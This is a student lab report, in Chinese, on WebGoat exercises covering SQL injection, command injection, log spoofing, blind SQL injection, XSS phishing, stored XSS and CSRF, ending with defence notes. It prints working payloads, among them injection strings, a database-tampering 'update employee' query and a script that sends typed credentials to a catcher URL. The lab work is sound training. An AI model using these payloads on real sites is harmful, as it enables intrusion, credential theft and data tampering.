2019-2020-2 网络对抗技术 20175214 Exp9 Web安全基础
一、实验目标
- 理解常用网络攻击技术的基本原理。
二、实验内容
- Webgoat下做不少于7个题目,包括(SQL,XSS,CSRF)。
三、实验步骤
Webgoat环境配置
-
输入
update-alternatives --config java
切换jdk版本,使用jdk1.8,如果没有请自行安装,参考链接 -
进入到文件目录下,输入
java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat: -
在浏览器中输入
http://localhost:8080/WebGoat
就可以进入WebGoat登录界面,账号密码均为guest
1.SQL注入攻击(Injection Flaws)
命令注入(Command Injection)
- 原理:在正常的参数提交过程中添加恶意代码以执行某条指令。
- 实践:
-
浏览网页源代码,审查网页元素对复选框代码进行修改,添加
"& netstat -an & ipconfig"
: -
修改完成后,点击
view
,就可以查看IP地址等信息:
-
数字型SQL注入(Numeric SQL Injection)
- 原理:在station字段中注入特征字符,组合成新的SQL语句。
- 实践:
-
浏览网页源代码,审查网页元素对复选框代码进行修改,在Value值中添加
or 1=1
: -
点击
Go!
即可显示所有城市的天气情况:
-
日志欺骗(Log Spoofing)
- 原理:通过在日志文件中添加假的日志信息实现欺骗。
- 实践:
-
题目要求是让用户名
admin
成功登录: -
在user栏中输入
20175214lzc%0d%0aLogin Succeeded for username: admin
:- 其中,
0D%
是回车,%0A
是换行符,通过它们实现换行显示;
- 其中,
-
SQL 注入(LAB: SQL Injection)
- 原理:通过字符串的注入绕过认证,例如构造永真式。
- 实践:
-
构造方法:使用永真式
1=1
,并用--
注释掉后面的内容; -
尝试输入
‘ or 1=1 --
,但是登陆失败: -
审查网页元素,对输入框的
maxlength
进行修改,例如改成5214,然后重新尝试就可以登陆成功:
-
字符串注入(String SQL Injection)
- 原理:通过注入字符串绕过认证,常见的就是构造一个永真式。
- 实践:
- 输入查询的用户名
20175214lzc‘ or 1=1--
,成功得到所有用户的信用卡号码
- 输入查询的用户名
数据库后门(Database Backdoors)
- 原理:在系统中调用增、删、改、查(insert,delete,update,select),从而对数据库实现非法操作。
- 实践:
-
输入题中给的101,可以看到原始的数据:
-
先尝试进行注入,输入
101; update employee set Password=larry
,尝试将密码改为学号: -
根据题目要求,我们的最终目标是把工资提高,输入
101; update employee set salary=66666
修改工资:
-
数字型盲注入(Blind Numeric SQL Injection)
- 原理:使用表单的返回信息是真还是假来测试检查数据库中其它条目信息。
- 实践:
-
本题中,输入后页面返回的信息为帐号有效或无效。
-
:构造查询语句,输入
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 5000 ) ;
-
可以看到,返回账号无效的提示,也就是说pin值小于5000,反复使用二分法可以推算出为2364:
-
字符串型盲注入(Blind String SQL Injection)
- 原理:和数字型盲注入类似,也是根据表单的返回信息来测试检查数据库中其它条目信息。
- 实践:
-
操作过程和数字型盲注入基本相同,反复使用二分法即可:
-
依次确认其他字母,最终得到结果为Jill:
-
2.XSS攻击(Cross‐Site Scripting)
XSS 钓鱼(Phishing with XSS)
- 原理:在已存在的页面中添加元素,实现窃取密码等信息。
- 实践:
- 需要两部分的脚本,一部分用来读取被攻击者在表单上输入的用户名和密码信息,另一部分是一个带用户名和密码输入框的表单:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
- 这样就可以读取在表单上输入的用户名和密码信息,并发给题目指定的接收处:
存储型XSS攻击(Stored XSS Attacks)
- 原理:存储型XSS攻击常见于有留言功能的平台,攻击者在留言处输入一段JavaScript脚本,这段脚本就会被保存在数据库中,在别的用户打开网页的时候,脚本就会被读取运行。
- 实践:
- 在留言板中输入一段脚本,例如:
<script>alert("Hello,this is 20175214lzc.");</script>
- 在留言板中输入一段脚本,例如:
3.CSRF攻击
跨站请求伪造(Cross Site Request Forgery (CSRF))
- 原理:当受害者的浏览器试图打开页面时,它会使用指定的参数向另一个页面发送请求;
- 实践:
- 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元:
- 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元:
绕过 CSRF 确认( CSRF Prompt By‐Pass)
- 原理:伪造欺骗受害者加载包含“伪造请求”的页面,从而使用受害者的凭据执行非法指令。
- 实践:
-
同样根据右侧进行参数设置:
-
点击底下的链接:
-
四、基础问题回答
(1)SQL注入攻击原理,如何防御
- 原理:
- 应用程序会将输入带入后台的SQL查询语句,后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果
- 防御:
- 使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、‘ 等
- 摒弃动态SQL语句,而改用用户存储过程来访问和操作数据。这需要在建立数据库后,仔细考虑Web程序需要对数据库进行的各种操作,并为之建立存储过程,然后让Web程序调用存储过程来完成数据库操作。
(2)XSS攻击的原理,如何防御
- 原理:
- 攻击者往Web页面里插入恶意html标签或者javascript代码,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。
- 防御:
- 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
- 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
(3)CSRF攻击原理,如何防御
- 原理:
- CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况> Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
-主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
- CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况> Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
- 防御:
- 验证referer:因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断referer头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击;
- 使用验证码:每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。
- 使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击;
- 避免全站通用的cookie,严格设置cookie的域;
- 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作。
五、心得体会
- 这次实验因为是在集成的平台上完成,所以过程比较顺利,没有遇到什么问题,这次实验涉及了以前学习的web编程的知识,以及上一次实验的一些知识,像数据库语句之类的,是一次很好的复习,主要的难点在于环境的配置,不过也还是通过查阅资料顺利完成了。
- 通过本次实验,我实践并掌握了多种SQL注入攻击、XSS攻击和CSRF攻击技术,我接触到了更多的不同实际情况下的各种对web的攻击,也让我了解了很多攻击的过程和攻击能够成功的原因,对于防范这些攻击也有了一些认识和理解,提高了我对网络风险的认识。